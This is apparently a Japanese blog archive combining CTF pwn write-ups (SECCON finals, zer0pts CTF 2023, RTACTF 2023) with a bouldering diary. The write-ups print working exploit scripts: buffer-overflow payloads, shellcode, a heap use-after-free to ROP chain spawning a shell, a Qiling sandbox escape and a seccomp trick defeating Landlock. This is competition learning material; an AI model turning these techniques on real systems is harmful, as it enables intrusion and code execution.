あまりこの思考にならなかったのはなぜか後から考えていたが普通に考えてsaved rbpだけ書き換えられるがROPはうまくできない状況がまあまあ珍しいのと(alignment制約自体はたまにある気がするが大抵なんとかなる)、適切にstack canaryが入っていないことが大事 ((今回は関数mainの中に char buf[xx] のようなバッファがなく、コンパイラがmainにstack canary checkを配置していなかったので大丈夫だった)) だったので、まあまあレアなケースかなとは思う(が思考から外しているのは謎だった)

やることとしては、

  1. strでfake chunkを作って、
  2. 上でleakした仕組みでそのchunkをfree、
  3. このチャンクを用いてtcache poisoningをして、
  4. editのrbpを書き換えてmainからretして、stack pivotで終わり

というかなり典型的なheap風水*9。改めて見返すと、かなり一日目に解き終わるべきだった気がするが、internationalでも4 solvesだった状況を考えてもまあまあめんどめ(or ハマるタイプ)のheapだったと思うので許していただいて、、*10

最終的なスクリプトctf_writeups/2023/seccon_finals/Datastore2/solve.py at master · moratorium08/ctf_writeups · GitHub

ちなみに結構非効率なtcacheのclear outなどをしているので動作が遅かった。実はこれは結構問題で、問題文中で alarm(60) と書かれているのに、実はタイムアウトが30秒に設定されており、リモートでフラグを取るのに失敗していた。これについて運営に文句を言ったところ、先に解いていた(!)TSGが許してくれた*11 ので、タイムアウトが適切に直され、無事このスクリプトで通すことができた。そうでなかった場合、虚無のPoC最適化が必要だったので、この点も感謝の限り...

elk、見たかったな〜。毎回何らかの問題に詰まってしまって反省している

[Misc 388] landbox (2 solves)

Datastore2でつらくなっているときに息抜きとして見た問題。

LandlockというLinux謎機能でプロセスに制限をかけた上で、 /readflag をするというプログラムが与えられる

void give_up_flag(void) {
  int abi, ruleset_fd;
  struct landlock_ruleset_attr *ruleset_attr = &default_landlock_ruleset_attr;

  abi = landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION);
  assert (abi >= 0);

  switch (abi) {
    case 1:
      ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_REFER;
      __attribute__((fallthrough));
    case 2:
      ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_TRUNCATE;
  }

  ruleset_fd = landlock_create_ruleset(ruleset_attr, sizeof(*ruleset_attr), 0);
  assert (ruleset_fd >= 0);

  assert (!prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0));

  landlock_restrict_self(ruleset_fd, 0);
}

int main() {
  give_up_flag();
  read_flag();
  return 0;
}

Landlock: unprivileged access control — The Linux Kernel documentation あたりのドキュメントを読むと、かなり正しい実装をしていそうに見える。少なくともフィルターの書き方は正しいそうだし、そもそもlandlock_add_ruleをしていないので「何も読めない」プロセスになってから read_flag が呼ばれる実装の模様で、これを突破できるとするとlandlockの仕組み自体が破滅しているということになってしまう。困った。

という状態で give_up_flag をよく見てみると、怪しい箇所として landlock_restrict_self のエラーハンドリングが行われていない。このシステムコールが失敗するならば、単に制限が何もかかっていないプロセスになるので、これを失敗させようという気持ちになる。manを見てみると landlock_restrict_self が失敗しうる状態は以下の通り

       landlock_restrict_self() can fail for the following reasons:

       EOPNOTSUPP
              Landlock is supported by the kernel but disabled at boot
              time.

       EINVAL flags is not 0.

       EBADF  ruleset_fd is not a file descriptor for the current
              thread.

       EBADFD ruleset_fd is not a ruleset file descriptor.

       EPERM  ruleset_fd has no read access to the underlying ruleset,
              or the calling thread is not running with no_new_privs, or
              it doesn't have the CAP_SYS_ADMIN in its user namespace.

       E2BIG  The maximum number of composed rulesets is reached for the
              calling thread.  This limit is currently 64.

いくつか試してみたが実験上はうまく動かず頭をかかえていた *12

というところで、ふとseccompで landlock_restrict_self を禁止してしまえばいいじゃないかという気持ちになる。実はそれだけです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/landlock.h>
#include <sys/prctl.h>
#include<errno.h>

int main() {
    int rc;
    scmp_filter_ctx ctx;

    ctx = seccomp_init(SCMP_ACT_ALLOW);
    if (ctx == NULL) {
        perror("seccomp_init");
        return -1;
    }

    rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(landlock_restrict_self), 0);
    if (rc < 0) {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return -1;
    }

    rc = seccomp_load(ctx);
    if (rc < 0) {
        perror("seccomp_load");
        seccomp_release(ctx);
        return -1;
    }
    int x = execve("/readflag", NULL, NULL);
    perror("failed to run readflag");

    return 0;
}

話はここからで、これ取り組みさえすればすぐに解けることが"バレる"なと思ったが、1日目終了時点でまだ1 solveだったので、フラグ提出をちょっと遅らせるということをしていた

実際それが功を奏したのか(?)、最終的に2 solvesで388点を得ることができた。まあ正直この問題のポイント差はあんまり重要ではなかったが

感想

個人のパフォーマンスとしては、うまく行った問題1問とうまくいかなかった1問+普通の1問で、平均して期待値程度のパフォーマンスといった感じ。簡単なpwnを通す程度の能力を提供すると言ってチームに参戦したのでギリギリ許されたか...? 各位がメキメキと問題を通しており、さすがだなあと思いながら見ていたし、これワシが解かなくても勝てそうじゃないか?とも思っていた、特にDatastore2で発狂していたときには。

改めてになりますが、運営ありがとうございました。本当に楽しかったです。本選にも参加してよかったと思いました。正直全ての問題を楽しみ切る前にコンテストが終わってしまうので、いつもちょっともったいないなあとは思うんですが。

最後にお気持ちを書くと、正直老人としてTSGの枠を使うのは申し訳ないと言いながら、国内枠の優勝を取るのはちょっとまずいという説はあった、ほんまか。まあ僕は学生だから良いですか?ありがとう。icchyさんが優勝インタビューで話していたように、ちゃんと国際枠で戦うべきなんですが、普通にSECCONが良い大会になりすぎてなかなかウオですね。

*1:TSGらを抑えて

*2:予選はTSGで出ていたが、本選出るにあたっては、若者各位頑張って欲しいという感情が強いので(?)出んとこと思っていた。が、冷静になって考えてみると2人で出てたチームあったよなと思って声をかけた。急に押しかけてしまい、すみませんという状態。ありがとうございました

*3:とはいえ割りと分担が結局効いていた。例えばハードウェアのことがなんにも分からなかったので問題説明を聞いてワロタと思ってngkzさんに全てを任せてハードウェア部屋から帰ってきたら、すぐに颯爽とハードウェア問を解いて帰ってきたみたいな話がある。結局あの問題が一番なんだったのか分かっていない

*4:GMOからの副賞が、執行役員擁する我々のチームに贈られたのはちょっとウケた。僕はただの学生なのでありがたく使わせていただきます

*5:結果的にはコンパイラソースコードも、バイナリのreversingもしなかったので、以下に書いているのは挙動からguessしたものです

*6:ちなみにpwnが下手なので普通にちゃんと探したが、いつも忘れるxchg rsp, raxでいい

*7:ちなみに国際チームであっても1st bloodだった。こういう速解きが割と上手かもしれない

*8:これはそもそもpwnが下手で、initialはexit_functionのlistの最終要素であるというinvariantを破壊してしまうので、nextの関数が呼ばれる前にfreeで落ちる

*9:ちなみに、callocがArray確保に使われていてtcacheが使われず、なぜかcopyではmallocが使われるのでそっちを使って書き換える、や端々になんか面倒な話がある、どぼじでぞういうごどずるの

*10:ここらへんで "筋力"の衰えを感じるにも覚えるが、実は元々の自力な気もする

*11:実際に同様のclarが国際決勝側でも飛んだらしく、こちらは先に解いていたチームが許さなかったらしい

*12:実は想定解はE2BIGを起こさせることだったらしい。僕の実験が下手です。そもそもこの文のcomposedの意味を取り違えていた

御殿下ボルダリング壁日誌2023

壁2023

ボルダリングを7月から始めた。あんまりちゃんとメモをしていなかったが、TSGのslackに雑に投稿していた情報をまとめてみようと思う。なのでこれは TSG Advent Calendar 2023 - Adventarの記事となります。

実はちょうど今日でボルダリングを始めてからちょうど5ヶ月。つまり、7月4日にボルダリングを始めた。

なお御殿下の2023年現在の課題は(ネタバレを含みますが)攻略!御殿下 | 御殿下ボルダリングを参照してください(以降、簡単に課題について参照するので興味があれば)

7月4日:初めて壁に登る

sh-mugに誘われて、御殿下のボルダリング講習会を受ける。

この日は7~8級と6級の垂壁の緑■が登れただけでスタートした。

7月6日:チョークを買う

7月18日:秋パンに初めて行く

potetisensei/sh-mugと行った。あんま覚えてないけど6級をちょっと登る程度だったはず

7月29日

ヤモリを自認

8月5日

秋パンの6級が2/3くらい登れるようになったらしい

8月8日

御殿下の垂壁の6級がすべて登れるようになる。順序はT -> Iだったはずで、Tはこの日以前のどこかで登れていたはず。Iはムーブが本質で、ムーブを教えてもらったのでできるようになった

8月12日:秋パン

3個くらい登れない6級がある

8月24日:初NOBOROCK渋谷

3級が登れたらしい

8月27日:NOBOROCK再訪

8月29日:6級V完登

9月12日:秋パン5級1つ完登

この日potetisenseiと一緒に秋パン行って、ムーブ本質の5級を一個登ったはずだが、スクショがこれしかなかった

9月20日:秋パン5級2つ

28tomabouと登った。

ちなみに同日に江添さんが登っていて、目撃した

www.youtube.com

9月26日:傾斜壁の6級■がまだ登れない

今になって思うがこの課題が本当にヤバいです。秋パンのむずい5級はある。とにかくホールドの摩擦がなくなっているのと、普通に本質がむずい。御殿下が難しいと言われる所以たる課題だと思う。

ちなみに、現在の御殿下の課題は来年2月に無くなるらしいので、今のうちに挑戦してくれ

9月29日:御殿下6級全完

10月2日:NOBOROCK渋谷

2級を2つほどらしい

NOBOROCKに関しては、混んでる時にしか行ったことがなくあんまり挑戦回数が増やせないのでよく分からん

10月6日:5級x、5級-完登

xは正直今でも気を抜くと最後の本質の保持に失敗する

10月8日~10月9日

Google CTF及び関連イベントで訪日していた tsuroさんや、sirdarckcatさんらGoogle Securityチーム御一行と(連日)秋パンへ行く。たのしい

ちなみにtsuroさんと登っているときはなんか緊張して全然登れなかった

10月12日:5級V完登

10月19日:秋パン

この辺で5級はまあ半分は登れるかなという感じだったと思う

10月21日:秋パンで初4級完登

3階奥のスラブ

10月28日:御殿下4級-完登

まだ5級が一つ登れていないが、先に4級を一つ落とした。ムーブが分かると(怖いが)簡単

10月30日:御殿下4級垂壁の■完登

最後ややランジがある。やってると派手なので、ちょっと楽しいが、落ちると結構高いところから落ちることになるので怖い。

というか御殿下は、ゴール取り本質が多すぎる。ほとんどそうじゃないか?? 高いところから落とさないで欲しい 🥺

11月6日

御殿下最後の5級がなかなか登れない。が御殿下の課題は意外と本質が複数あったりするので少しずつ進捗が感じられる良さもある

11月10日

potetisenseiらと登る。秋パンの4級を3つほど登った。

個人的感覚では 秋パン6級 > 御殿下6級(傾斜壁■以外)> 御殿下5級 ≒ 秋パン5級 > 御殿下6級傾斜壁■ > 御殿下4級 > 秋パン4級

という感じがある。6級がとにかく難しめで、これのおかげで初心者お断りになり、御殿下壁が空いている気がする(ありがとう)。 や、まあそういう壁で成長する人間もまたいるんですが

11月13日:御殿下5級全完

御殿下5級■が登れた。

この課題、僕だけかもしれないが、左手前腕をめちゃくちゃ擦るんですよね。まだ傷跡が癒えてません

bsky.app

11月27日

傾斜壁4級の■がバラしではできたが、この課題ずっと力入れていてしんどく最後にヨレてしまう

11月29日:秋パン

新しく4級を一つクリアする。現在は、基本的に4級に挑戦しているが、秋パンの4級は多くがまだ手が届かない感じがある。

12月1日

これが最近登った最後。

追記:12月4日

今日登ったら、傾斜壁4級の■ができた

まとめ

結局のところ現状御殿下は4級2つ完登、1つは目処はついた状態4級3つ完登、最後の1つは、初手がきついといった感じ。 研究室から徒歩2分程度なのでついつい行ってしまうし、進捗が出るので精神に良い。

あとはコミュニティ課題(と呼んでいるが、青いファイルに乗っている、有志が作った課題)にもいくつか面白いのがあって紹介したいんだが、ネットに情報が無いので参照ができない、悲しい。 そういう、ちょっとアナログなところもいいですよね。 コミュニティ課題の中にはちょっと異常(というか、できるのか?と思う)な課題もあって、これは作者に正解を教えてもらいたい感じもある。 もっといえば自分で課題を作りたいので壁の写真が欲しい。これは講習会中の委員の人を捕まえれば良いのかな。御殿下は(プライバシー保護もあり?)写真禁止で、自分がどう登っているのかを客観的に見ることができないのは不満点ではある。

噂によれば、来年の2月に課題が入れ替えられて簡単にすることを目指しているらしい。御殿下の現行の壁は難しくはあるが打ち込みがいがあって楽しい *1 ので、そういった課題が次もたくさんあることを願うばかりである。

*1:slackのログを見る限りでは、それから45回ボルダリングをしたらしい。

zer0pts CTF 2023 writeup

開催ありがとうございました。 TSGで参加して、14位だったらしい。pwnのaush, qjail, WISEを解いたのでそれのwriteupです。

aush (99pts 101solves)

ちょうど良いwarmupだった

  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };


   /* 略 */

  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

となっており、オーバーフローが自明にできる。inpuserをオーバーフローしてusernameからpasswordまで書き換えれば終わりかと思ったが、どうやらusernameの方がバッファとしてstackの上に取られる模様。つまりusernameが当てられないと即execveされてしまう。

これを回避するためにenvpをinvalidなpointerにすることで、syscallを失敗させる。実際バッファオーバーフローは十分大きいので、環境変数を破壊することができる。

payload_1 = b"A" * 0x198 + b"\xff\xff"
payload_2 = b"A" * (0x198 - 0x20 - 0x20) + b"\x00\x00"

rs(payload_1, new_line=False)
wait_for_attach()
rs(payload_2, new_line=False)
interactive()

github.com

qjail (146pts 42solves)

Qilingというbinary instrumentationツールを用いたsandbox

以下のようなsandbox

#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)

    cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
    ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql.run()

を使って次の自明なBoFがあるプログラムを動かす

#include <stdio.h>

int main() {
  char name[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("Enter something");
  scanf("%s", name);
  return 0;
}

ただしchecksecが

ubuntu@ip-172-31-24-131:~/zer0pts_23/qjail/bin$ checksec --file=vuln
[*] '/home/ubuntu/zer0pts_23/qjail/bin/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

なので、かなり不可能そうな見た目。 ただQilingについて調べると(こういうエミュレーターソフトウェアあるあるだが)

  • canaryは0xaaaaaaaaaaaaaa00固定
  • ASLRなし
  • stackが実行可能

ということがわかったので、stackにshellcode流して、retアドレス書き換えによるRIP制御で飛ばせば良いことがわかる。 最後の問題は、 qiling.Qiling(cmd, console=False, rootfs='.') と実行されており、rootfsが.にあるので、 /flag.txt が読めない点だが、 これは *1 openatをしつつ絶対パスを渡すことで回避できるバグが今でも存在するので、それをすればよい。

main = 0x7fffb7dd71a9
canary = b"\x00aaaaaaa"
canary_addr = 0x80000000dd48
flagbuf = 0x80000000dc40
databuf = 0x80000000db40

payload = b"/flag.txt" + b"\x00" * 7
payload_addr = flagbuf + len(payload)
print(hex(payload_addr))

asm_payload = f"""
mov rdi, 1
mov rsi, {flagbuf}
mov rdx, 0
mov rax, 257
syscall
mov rdi, rax
mov rsi, {databuf}
mov rdx, 100
xor rax, rax
syscall
mov rdi, 1
mov rsi, {databuf}
mov rdx, 100
mov rax, 1
syscall
"""
asm_payload_bin = asm(asm_payload)
print("len: ", hex(len(asm_payload_bin)))
assert(len(asm_payload_bin) < 0x80)

payload += asm_payload_bin
payload += b"A" * (0x108 - len(payload))
payload += canary
payload += p64(payload_addr)
payload += p64(payload_addr)

recvuntil(b"Enter something")
sendline(payload)
#with open("../qjail_solver/payload", "wb") as f:
interactive()

github.com

WISE (304pts 8solves)

Crystalで書かれた簡単なnoteアプリのpwn。 ソースコードは以下に示すように短くバグも明らかで、iterator invalidationチックな、listサイズのreallocationに付随して起こるUAFが存在する。ただ、Crystalとかいう謎言語のpwnなので、ここからが難しい。 *2

suspect = nil
id_list = [] of UInt64
name_list = [] of String

puts "1. Add new citizen",
     "2. Update personal information",
     "3. Print list of citizen",
     "4. Mark as spy",
     "5. Give memorable ID to spy",
     "6. Print information of spy"

loop do
  print "> "
  STDOUT.flush
  case gets.not_nil!.chomp.to_i
  when 1
    id = Random.rand(UInt64)
    print "Name of person: "
    STDOUT.flush
    name = gets.not_nil!.chomp

    id_list.push(id)
    name_list.push(name)
    puts "ID: #{id}"

  when 2
    print "ID: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      print "New name: "
      STDOUT.flush
      name_list[index] = gets.not_nil!.chomp
    end

  when 3
    id_list.zip(name_list) { | id, name |
      puts "----------------",
           "ID: #{id}",
           "Name: #{name}"
    }

  when 4
    print "ID of suspect: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      puts "[+] Marked '#{name_list[index]}' as possible spy"
      suspect = id_list.to_unsafe + index
    end

  when 5
    if suspect.nil?
      puts "[-] No spy marked"
    else
      print "New ID: "
      STDOUT.flush
      suspect.value = gets.not_nil!.chomp.to_u64
    end

  when 6
    if suspect.nil?
      puts "[-] No spy marked"
    else
      puts "ID: #{suspect.value}"
      index = id_list.index suspect.value
      if index.nil?
        puts "Name: <unknown>"
      else
        puts "Name: #{name_list[index]}"
      end
    end

  else
    break
  end
end

メニューの各機能の概要は次の通り

  1. 任意長の名前で人を登録。64bit のIDが付与される
  2. IDを指定して名前を更新
  3. 登録されている人のリストを表示
  4. IDを指定して、suspectな人のint_listのエントリへのpointerを得る
  5. suspectなpointerに値を代入
  6. suspectなpointerから値を読む

試行錯誤 + libgcソースコードリーディングの結果、特に細かなチェックは存在しないので、雑にfreelistにつないだバッファをUAFをしてpoisoningするだけとわかる。そのためのおおまかな工程は以下の通り

  1. 十分大きなサイズのid_listを作る
  2. id_listの0番目をsuspect
  3. id_listのサイズを増やして、元のid_listをfree -> id_listがfree listへつながる
  4. suspectへのwriteを使ってfree listのfdをid_list自身を含む場所に書き換える(これを後ほどmallocする)
  5. 3でfreeしたid_listと同じサイズの名前で人を2回addし、id_listを上書き。id_list bufを自分自身にする
  6. メニューの3と5と6を利用してAAR (program base / libc_base / stack addressのリーク)
  7. 最後に4と5でポインタを移動させてROPを組む

ただ、随所でCrystalの気持ちを読む必要があり、それは気合 *3

def add(name):
  menu(1)
  rs(name)
  recvuntil(b"ID: ")
  return int(recvline())

def update(id, name):
  menu(2)
  rs(str(id).encode("ascii"))
  rs(name)

def get_info():
    recvuntil(b"ID: ")
    id = int(recvline())
    recvuntil(b"Name: ")
    name = recvline()
    return (id, name)

def print_list(do_print=False):
    menu(3)
    citizens = []
    while True:
      if recv(1).startswith(b">"):
          break
      (id, name) = get_info()
      if do_print:
          print(f"{id}: {name}")
      citizens.append((id, name))
    sendline(b"3")
    return citizens

def mark(id):
  menu(4)
  rs(str(id).encode("ascii"))
  #recvuntil(b"[+] Marked '")
  #name = recvuntil(b"'")
  #return name

def give_id(id):
  menu(5)
  rs(str(id).encode("ascii"))

def print_spy():
    menu(6)
    return get_info()

"""
a_id = add("A")
b_id = add("B")
update(b_id, "BB")
print_list()
c_id = add("C")
s = mark(c_id)
print(s)
assert(mark(c_id) == b"C")
give_id(123)
assert(print_spy()[0] == 123)
"""

a_id = add("A")
print(f"a_id: {hex(a_id)}")
mark(a_id)
for i in range(3):
    add("A")

heap_base = print_spy()[0]
print(f"heap_addr: {hex(heap_base)}")
#array_buf_addr = heap_base + 0x1a00
#string_array_addr =
#string_array = heap_base - 0x4100
#print(f"array_buf_addr: {hex(array_buf_addr)}")
#print(f"string_array: {hex(string_array)}")
int_array = heap_base - 0x30e0
string_array = int_array - 0x20
print(f"int_array: {hex(int_array)}")

for i in range(39):
    add("A")
mark(a_id)
print(print_spy())
for i in range(5):
    add("A")
add("A")
wait_for_attach()
add("A")
print(print_spy())

wait_for_attach()

target = int_array + 32 - 0x1b0 + 0x10
print(f"target: {hex(target)}")
# print(target)
# interactive()
give_id(target)
add("A" * 0x1b0)
wait_for_attach()
victim = heap_base + 0x13f20

def to_h(x):
    return x - 0x7f7e4eb5ef80 + heap_base
'''
0x7f7e4eb5be40:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be50:   0x00007f7e4eb60ed0  0x0000000000000000
0x7f7e4eb5be60:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be70:   0x00007f7e4eb60f00  0x0000000000000000
0x7f7e4eb5be80:   0x0000003100000004  0x0000000000000060
0x7f7e4eb5be90:   0x00007f7e4eb79c80  0x0000000000000000
0x7f7e4eb5bea0:   0x000000310000001a  0x0000000000000060
0x7f7e4eb5beb0:   0x00007f7e4eb78c80  0x0000000000000000
'''
payload = [
  0x000000000000008b, 0x0000000400000001,
  to_h(0x00007f7e4eb60ed0), 0,
  0x000000030000008b, 0x0000000400000000,
  to_h(0x00007f7e4eb60f00), 0x0000000000000000,
  0x0000000400000004, 0x0000000000000060,
  to_h(0x00007f7e4eb79c80), 0x0000000000000000,
  0x000000040000001a, 0x0000000000000060,
  to_h(0x00007f7e4eb78c80), 0x0000000000000000,
  0x000000000000008b, 0x0000000000000000
]
payload[-4] = int_array
payload = b''.join(map(p64, payload))
payload = b"\x00" * (0x1b0 - len(payload) - 12) + payload
add(payload)

mark(int_array)
prog_addr = heap_base - 0x15c0
give_id(prog_addr)
#interactive()

update(0, "hoge")
l = print_list(do_print=False)
prog_base = l[0][0] - 0x103e10
print(f"prog_base: {hex(prog_base)}")

printf_got = prog_base + 0x129c10
give_id(printf_got)
l = print_list(do_print=False)
if is_gaibu:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60
else:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60

pop_rdi_ret = prog_base + 0x5dbc4
ret = pop_rdi_ret + 1

print(f"libc_base: {hex(libc_base)}")

give_id(environ)
l = print_list(do_print=False)
stack_addr = l[0][0]
print(f"stack_addr: {hex(stack_addr)}")

ret_addr = stack_addr - 0x190
current_val = prog_base + 0xea1a9
give_id(ret_addr)
mark(current_val)
give_id(pop_rdi_ret)
mark(0)
give_id(binsh)
mark(0)
give_id(ret)
mark(0)
give_id(system)

print(f"stack: {hex(ret_addr)}")
print(f"current_val: {hex(current_val)}")


interactive()

github.com

感想

DEF CONを除くと(?)、今年始めてのまともに参加したCTFかもしれない(ある程度は追ってはいたが、フルには参加していなかった)。CTFを久々にやると、定数倍解くのが遅くなるといった感じがあり、flippersあたりまで本当は手が出せるとよかったなあという感じ。

BrainJITやmimikyuにも微妙にちゃちゃを出したもののそれらと上で解いた問題以外はほとんど知らないが、基本的に問題に必要な最小限の実装と、ソースコードの提供があり、ストレスの無いCTFで体験が本当に良かった(まあこれはzer0pts CTFとしては、いつものことでもある(?)が)。運営お疲れ様でした。

*1:smallkirbyが Qiling Sandbox Escape | Kalmarunionen というwriteupを引っ張ってきてくれた

*2:弊チームには、AtCoder LibraryのCrystal版 を書くほどのCrystal使いであるところの 博多市 がいるので、当然Crystalのheap allocatorの動作にも詳しいはずと思って聞いたが教えてくれなかった。

*3:id_list上書きのとき付随して上書きされてしまうstringに関するメタデータ(String型の値は HEADER + bufferみたいな形をしている)が結構厄介で、なんか知らんけど適当に上書きすると色々動かず、また使われていそうな場所をexactに書き換えても動かず試行錯誤した結果 https://gist.github.com/moratorium08/29014b181fc3cab7181f7e361bc74fb4#file-wise-py-L239 にあるようになぜか1な場所を0にすると動いたりした。また小さいバッファはto_u64はgetsなどで結構使われているので、大きめのid_listをUAFに使わないといけない

RTACTF 2で走者として走りました🏃

実は3日前まで走ることを知らなかった

なぜか走者として走ることが決まっていた・o・

RTA CTF

RTA CTFは、~30分程度で解くことが可能な比較的簡単な問題を、どれだけ高速に問題を解くことができるかを競うものです。 特に、競技者は、リアルタイムで解く様子の画面配信を行い、解説者はそれについての解説を行います。 大会の様子はyoutubeアーカイブから見ることができるのでぜひチェックしてみてください。

www.youtube.com

僕は、pwnableの問題の走者として参加しました。もはや(CTFやってなさすぎる)僕より適任者いると思うので多分今回でクビになると思います。

また、以下ネタバレを含みます が、もしネタバレなしで挑戦したい場合数日中はサーバーが動いていると思うので、ぜひ挑戦してみてください!(そんな時間かからないと思うので暇つぶしにとても良いと思う)

RTACTF 2023

RTA CTFの走者のつらさ

沼るとそれが全世界に公開されて、つらい。

正直今これをやったら本当にガチで配信を冷やしてしまうと思っていたので、正直拒否しようかとすら思った。

まあ耐えたのか耐えてないのかは知らないですが、とりあえず一定程度走ったのでいかにwriteupをまとめます。

writeup

before-write

BOF & win関数(shellを実行してくれる関数)あり、PIE & canaryなしなので、単にリターンアドレスを書き換えれば良い。

payload = p64(0x4011b6) * 20
recvuntil("value")
sendline(payload)
interactive()

rta1.py · GitHub

ファイルのダウンロードからの展開や解析にやや手間取ったがほぼつっかえずに解くことができた。

✔129.69 sec

write

bssにある配列arrayの配列外参照による書き込みができる。 Partial RELROだが、一瞬何を書き換えるねんとなる。 以下のプログラムをよく見ると

ssize_t array[10];

/* 省略 */

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  ssize_t index, value;
  index = getval("index: ");
  value = getval("value: ");
  array[index] = value;
  return 0;
}

getvalでBOFが存在するので、オーバーフローをしながら数字を入力させて、_stackなんとかを呼び出させつつそいつのGoTを書き換えて、winを呼び出せば良いとわかる

問題はここからで、沼ったポイントとして、事前に用意しておいたショートカット用スクリプトのテストをちゃんとしていなかったら、そこでややバグらせが発生しており、時間をつぶしてしまった。負け。

win = 0x4011b6

idx = 0x60 // 8
idx = -idx
print(idx)
rs(str(idx).encode("ascii") )
wait_for_attach()
rs(str(win).encode("ascii") + p64(0) + b" " * 1000)
interactive()

rta1.py · GitHub

想定時間内にとき終わらなかった🥹

❌902.50 sec

read-write

3回書き込みか読み込みができる。Full Relroだが、no PIE。

int main() {
  size_t index, value;

  for (int i = 0; i < 3; i++) {
    switch (getval("1. read\n2. write\n> ")) {
      case 1: // read
        index = getval("index: ");
        printval(array[index]);
        break;

      case 2: // write
        index = getval("index: ");
        value = getval("value: ");
        array[index] = value;
        break;

      default:
        return 0;
    }
  }

  return 0;
}

第一感としてはlibcのアドレスはGOTから雑にリークできるので、最終的にはlibcのGOT書き換えあたりをしたいなあという感情になる。ただlibcのGOT周りは使われている関数が弱そうなあたりとこういうのしていると沼りそうだなあというあたりで、ちょっと困っていたが、冷静に考えるとlibcアドレスリークからのenvironによるstackアドレスリークで、リターンアドレスを書き換えてのRCEで良さそうとなる。

array_addr = 0x404040
win_addr = 0x4011d6

idx1 = str(-0x80 // 8)

rs(str(1), r="> ")
rs(str(idx1).encode("ascii") )
libc_addr = int(recvline())
environ = libc_addr + 0x10c7e0

print(hex(environ))
idx2 = (environ - array_addr) // 8
print("idx2: ", idx2)
rs("1", r="> ")
rs(str(idx2).encode("ascii") )
stack_addr = int(recvline())
print(hex(stack_addr))

ret_addr = stack_addr - 0x120
print(hex(ret_addr))

idx2 = (ret_addr - array_addr) // 8
print("idx2: ", idx2)
rs("2", r="> ")
rs(str(idx2).encode("ascii") )
wait_for_attach()
rs(str(win_addr))
print(hex(stack_addr))

フルのソルバー: rta1.py · GitHub

✔802.53 seconds

only-read

タイトルが示唆するように、無限回試行ができるようになった代わりに、write機能が消される。ひどい。

int main() {
  size_t array[10] = {};

  for (;;) {
    ssize_t index = getval("index: ");
    if (index >= 10) break;
    printval(array[index]);
  }

  return 0;
}

しかも地味になぜかarrayがstackに移されている。その上でarrayの+方向へのover readはできなくなっている。

ここで、まだgetvalにBoFが残されていることを思い出す。

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

checksecを見直すとcanaryがあるため雑なBoFはできないが、書き込める系脆弱性がこのBoFしかなさそうなことを考えると、なんとかcanaryをリークできないかという気持ちになる。 正直最初の感覚としてはstackの上の方に落ちてへんかなと思ったが、ちゃんとこれはマクロを通してgetvalが実装されていることもあり、stackの上の方にはcanaryは落ちていなかった。

そうすると、できそうなことは気合のmaster canary readで、これは(実際あとの方で悩まされることになるが)offset周り等でちょっと面倒になりそうで嫌だなとは思ったものの他に何も思いつかなかったのでこれで突撃した。

あとは、基本的にstackの上に落ちているいい感じのポインタ探しをすると、master canaryのポインターをなんとかリークできる。

rs(str(-0xe40 // 8))
nazo_addr = int(recvline())
print("nazo_addr", hex(nazo_addr))
#canary_addr = nazo_addr - 0x2389d8
canary_addr = nazo_addr - 0x2389d8 + 0x1000 * diff
print("canary_addr", hex(canary_addr))

stack_addr = rs(str(-2))
stack_addr = int(recvline())
print("stack", hex(stack_addr))

array_addr = stack_addr - 0x5f
print("array_addr", hex(array_addr))

idx = (canary_addr - array_addr) // 8
rs(str(idx))
canary = int(recvline())
print("canary: ", hex(canary))

あとはBoFからのwin関数呼ぶだけかと思いきや、winがない。まあいうてROPするだけでは、となったが、ここでガチの沼にはまる。 ライブ的には、 https://www.youtube.com/live/c8Q5yB3w5Og?feature=share&t=4629

いつもの、実家のような安心感という気持ちで、rp++(をラップしたスクリプト)を叩くと、、、

libcにpop rdi; retがない!「そんなわけある?」「いやでも最近CTFしてないし世情に疎いな」「現代のlibcはこんな謎mitigationをしていてもおかしくないかもしれない」などの迷思考にハマり、ROPチェーンが雑に組めないことに絶望する。

そのままゲーム終了。終了後、「普通にpop rdi; retありますよ笑」と言われ、rp++がバグっていたことが判明する *1

github.com

そんなことある? 感動しました

--uniqueを無くしたらいっぱい表示されました

